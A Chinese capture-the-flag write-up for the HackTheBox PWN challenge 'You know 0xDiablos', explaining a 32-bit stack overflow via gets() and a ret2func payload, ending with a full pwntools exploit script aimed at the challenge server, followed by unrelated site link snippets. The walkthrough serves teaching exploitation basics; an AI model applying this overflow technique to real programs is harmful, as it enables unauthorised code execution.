HTB-You know 0xDiablos

引言

  • 项目概述:HTB的EASY难度 PWN靶机 You know 0xDiablos https://app.hackthebox.com/challenges/106 本文详细解释了溢出payload的结构以及为什么要这样构造,友好的为想要入手PWN的朋友解释了原理
  • 技术点涉及: 32位linux逆向、32位程序调用、栈溢出
  • 目标与读者:网络安全兴趣爱好者、PWN新手

基本情况

运行看看

└─$ ./vuln   
You know who are 0xDiablos: 
aaaa
aaaa

输入啥,就吐出啥

使用checksec查一下保护

─$ checksec vuln      
[*] '/home/att/htb/Youknow0xDiablos/vuln'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX unknown - GNU_STACK missingPIE:      No PIE (0x8048000)Stack:    ExecutableRWX:      Has RWX segments

意思是没有任何保护,实实在在的新手题,可以更聚焦栈溢出的核心原理

逆向分析

将程序放到IDA分析

主函数中发现一个叫做vuln的函数
应该就是目标了

gets()很标准的高危函数

这里有个数组s距离ebp B8H
gets(s),那么就可以利用这个s数组进行溢出
junk = b'a'*0xB8

想象下,我们输入了大量垃圾内容,从栈的某个位置一直写到栈的底部,栈底指针EBP指向的是父函数的EBP值,然后EBP+0x4的位置就是存放的当前函数的返回地址(父函数调用当前函数后的下一行指令地址)
是不是多写点就可以改变函数的运行

那么攻击载荷就可以这样大致构建了
payload = junk + ebp+ret

很明显,是要我去分析那个flag函数

flag函数打开了flag.txt,如果两个参数比较成功就会返回读取的值
就是说我还得在栈中构建好两个参数
最终的攻击载荷大致就是这个结构
payload = junk + ebp+ret + ret2 + arg1 + arg2

call逻辑讲解

这里来讲解下为什么要这么构建payload
由于IDA F5是变成了伪C代码,所以调用约定是C的调用约定
32位程序,参数从右至左,依次入栈

正常call flag的流程如下

push arg2
push arg1call flag_addrxxxcommandflag:
/*进入函数前相当于做个这个操作,这里我是用汇编命令做比喻,而不是真的执行了这两个命令
push ret(xxxcommand的地址)
mov eip ,flag_addr
*/; 保存返回地址push ebpmov ebp, esp; 访问第一个参数(eax)mov eax, [ebp + 8]; 访问第二个参数(ebx)mov ebx, [ebp + 12]; 执行函数体; ...; 恢复返回地址mov esp, ebppop ebpret

而我要伪造一个call,就需要在栈里面调整好参数的站位,而且要注意我使用ret,而不是call,ret不会push一个地址进去。下面我会详细讲解为什么payload是这样构造的,结构为什么这样排列

正常call的栈ebp_调用flag函数的EBP指针的值(进入函数后第一个指令就是push ebp,这里打个Tab用来区分其他已有的内容)ret_addr_调用flag函数的下一行指令的地址
arg1
arg2

而我要调用flag,就得将返回地址覆盖为flag的地址
大致的载荷构建结构如下

xxxxx垃圾数据
+
ebp_调用flag的父函数的ebp
+
flag()的地址

而且flag还有参数

xxxxx垃圾数据
+
ebp_随便一个EBP地址,反正不用回主函数了
+
flag()函数的地址
+(这个在载荷中去掉,理由是从返回结果推导得到)ebp_随便一个EBP地址,反正不用回vuln函数了(正常call才要这个),这里是直接用的ret跳到flag()了
+ret_回vuln的地址,为什么我会留下作为理解,而不是ebp,是因为实际进入flag()函数的时候,栈顶的位置就应该是返回地址而不是ebp,后面执行第一个指令`push ebp`,才会将ebp写入栈顶,而且flag()执行完毕后最终会返回到这个地址+
arg1
+
arg2

所以32位的paylaod像这构造

payload = junk + ebp + ret + ret2 + arg1 + arg2

发送payload

可以看到刚进flag函数的时候
栈顶的值是这样,这时候还没有执行push ebp,说明如果这是正常的call的话,这里存放的应该是调用flag()的下一行指令的地址,也就是flag()执行完毕后需要返回的地址,这里的ebp的值是0x62626262是因为ebp=b'b'*4,我随便写的四个b在哪里占位置

0xffce8ac0:     0xdeadbeef63636363 

完整的poc如下

from pwn import *target='./vuln'
# context.binary指定了目标程序后,例如pack就可以自动根据目标是多少位来打包context.binary = target
e = ELF(target)
# 远程连接
r=remote('83.136.253.163', 37682)# 本地执行
# r=process(target)# 本地调用gdb进行调试
# r=gdb.debug(target)
junk=b'a'*0xB8
ebp=b'b'*4
ret=0x080491E2
ret2=b'c'*4
arg1=0xDEADBEEF
arg2=0xC0DED00D
# pack 根据context.binary的环境来打包,这里由于是32位可执行文件,所以这里的pack可以视同为p32,打包为32位小端字节序
payload=junk+ebp+pack(ret)+ret2+pack(arg1)+pack(arg2)
# print(payload)
tmp=r.sendlineafter(b'You know who are 0xDiablos:', payload)
# 转化为交互式,就不用一直print输出的值了
r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1527400.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【AcWing】851. 求最短路

spfa算法其实是对贝尔曼福特算法做一个优化。 贝尔曼福特算法会遍历所有边来更新,但是每一次迭代的话我不一定每条边都会更新,SPFA是对这个做优化。 如果说dist[b]在当前这次迭代想变小的话,那么一定是dist[a]变小了,只有a变小了…

Unity笔记:ScrollRect代码阅读

大体流程 Unity Docs - UGUI | Class ScrollRect 总的说 自身不负责Rebuild,设置脏之后交由LayoutRebuilder注册到CanvasUpdateRegistry里待rebuild的集合在固定时机统一Rebuild。自身只在Prelayout和Postlayout做一下数据准备和数据更新 自身的ICanvasElement.…

3.门锁_STM32_矩阵按键设备实现

概述 需求来源: 门锁肯定是要输入密码,这个门锁提供了两个输入密码的方式:一个是蓝牙输入,一个是按键输入。对于按键输入,采用矩阵按键来实现。矩阵按键是为了模拟触摸屏的按键输入,后续如果项目结束前还…

Banana Pi BPI-SM9 AI 计算模组采用算能科技BM1688芯片方案设计

产品概述 香蕉派 Banana Pi BPI-SM9 16-ENC-A3 深度学习计算模组搭载算能科技高集成度处理器 BM1688,功耗低、算力强、接口丰富、兼容性好。支持INT4/INT8/FP16/BF16/FP32混合精度计算,可支持 16 路高清视频实时分析,灵活应对图像、语音、自…

【数据库中级】1_DBeaver操作数据库

文章目录 一、连接数据库1.1 命令行连接数据库1.2 DBeaver工具连接数据库 二、DBeaver操作数据库2.1 通过DBeaver操作数据库2.2 通过DBeaver操作表2.3 通过DBeaver操作数据 三、DBeaver界面3.1 SQL编辑区3.2 导航区3.3 修改字体大小 一、连接数据库 1.1 命令行连接数据库 命令…

C语言 ——— 带副作用的宏参数

目录 带有副作用的代码 带有副作用的宏参数 结论 带有副作用的代码 代码演示: int a 10;int b a; 副作用解析: 变量 a 在赋值给 b 之前 a 的值自增了1,那么 int b a; 这条代码就带有副作用 带有副作用的宏参数 代码演示&#xff1a…

【激活函数总结】Pytorch中的激活函数详解: ReLU、Leaky ReLU、Sigmoid、Tanh 以及 Softmax

《博主简介》 小伙伴们好,我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 👍感谢小伙伴们点赞、关注! 《------往期经典推荐------》 一、AI应用软件开发实战专栏【链接】 项目名称项目名称1.【人脸识别与管理系统开发…

UniApp实现漂亮的音乐歌词滚动播放效果

在现代的音乐播放应用中,歌词的展示和滚动播放已经成为了一个非常常见的功能。今天,我们将通过UniApp来实现一个漂亮的歌词滚动播放功能。我们将使用UniApp提供的组件和API来完成这个任务。 页面结构 在页面的模板部分,我们需要创建一个音频…

基于MinerU的PDF解析API

基于MinerU的PDF解析API - MinerU的GPU镜像构建 - 基于FastAPI的PDF解析接口支持一键启动,已经打包到镜像中,自带模型权重,支持GPU推理加速,GPU速度相比CPU每页解析要快几十倍不等 主要功能 删除页眉、页脚、脚注、页码等元素&…

使用Python中的igraph为绘图添加标题和图例

在 igraph 中,可以通过添加标题和图例来增强图形的可读性和表达能力。我们可以使用 igraph.plot 函数进行绘图,并通过它的参数来指定标题和图例。 1、问题背景 在python中的igraph库中,能否为绘图添加图例和标题?在手册或教程中都…

Qt项目使用Inno Setup打包(关于打包中文乱码的解决)

​ 关于打包好的文件乱码解决方法 打包好的文件中文乱码,就是编码格式出现了问题,更改一下中文脚本编码格式,在官网Inno Setup Translations下载好中文脚本 点击下载,然后另存为 得到ChineseSimplified.isl.txt文件后&#…

《MaPLe: Multi-modal Prompt Learning》中文校对版

系列论文研读目录 文章目录 系列论文研读目录题目:《Maple:多模态提示学习》摘要1.简介2.相关工作视觉语言模型:提示学习:视觉语言模型中的提示学习: 3.方法3.1.回看CLIP编码图像:编码文本:Zero…

【H2O2|全栈】关于HTML(5)HTML基础(四)

HTML基础知识 目录 HTML基础知识 前言 准备工作 标签的具体分类(四) 本文中的标签在什么位置中使用? 表单(一) 表单标签 输入域标签 预告和回顾 后话 前言 本系列博客将分享HTML相关知识点。 这一期博客&…

mac|安装nginx

使用homebrew安装nginx brew install nginx 注意: 一般来说nginx会被默认安装在/usr/local/cellar,打开【访达】,前往【电脑】 由于/usr是隐藏文件,无法直接查看。通过 shiftommand. 即可查看 可以看到我的不在这里(我也不知道…

python基础语法七-openpyxl操作excel

书接上回: python基础语法一-基本数据类型 python基础语法二-多维数据类型 python基础语法三-类 python基础语法四-数据可视化 python基础语法五-函数 python基础语法六-正则匹配 1. 打开文件 (1)创建新文件 from openpyxl import W…

仕考网:考公务员有什么好处?

公务员工作节奏不快,工作压力小,不用担心下岗待业工作很稳定。机关事业单位职工退休可拿到在职工资的80%至 90%。薪资待遇高,国家也在不断完善中央和地方公务员薪酬体系管理工作,提高公务员薪资。 1、公务员定义 (1)公务员考试,…

搭建Docker私有仓库管理本地的Docker镜像,通过harbor实现Web UI访问和管理私有仓库

要在本地搭建一个Docker私有仓库,你可以按照以下步骤进行设置: 安装Docker 确保你已经安装了Docker。如果还没有安装,可以按照官方指南进行安装: 对于Ubuntu系统,你可以运行以下命令来安装Docker: sudo ap…

【前端】animation动画以及利用vue制作简单的透明度改变动画,包含vue生命周期实现

一. 问题描述 想做一个文字透明度从1到0然后再从0到1的css动画。 二. 代码写法 2.1 animation写法 2.1.1 animation属性key 2.1.2 代码展示 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"…

利士策分享,逆境破局关键:精准策略

利士策分享&#xff0c;逆境破局关键&#xff1a;精准策略 在人生的征途上&#xff0c;逆境如同试炼场&#xff0c;考验着我们的智慧与勇气。 为了在这片试炼场上稳健前行&#xff0c;我们需要一套具体而精准的应对策略。 以下&#xff0c;是结合实践经验与智慧总结的应对策略…

【环境领域EI稳定 I 院士主讲】第九届能源与环境研究进展国际学术会议(ICAEER 2024)

ICAEER 2024会议投稿经过2-3位组委会专家严格审核之后&#xff0c;符合Springer ESE征稿要求的论文将由斯普林格&#xff08;Springer-Nature&#xff09;旗下的 Environmental Science and Engineering (ISSN: 1863-5520) 出版&#xff0c;出版后提交至EI Compendex&#xff…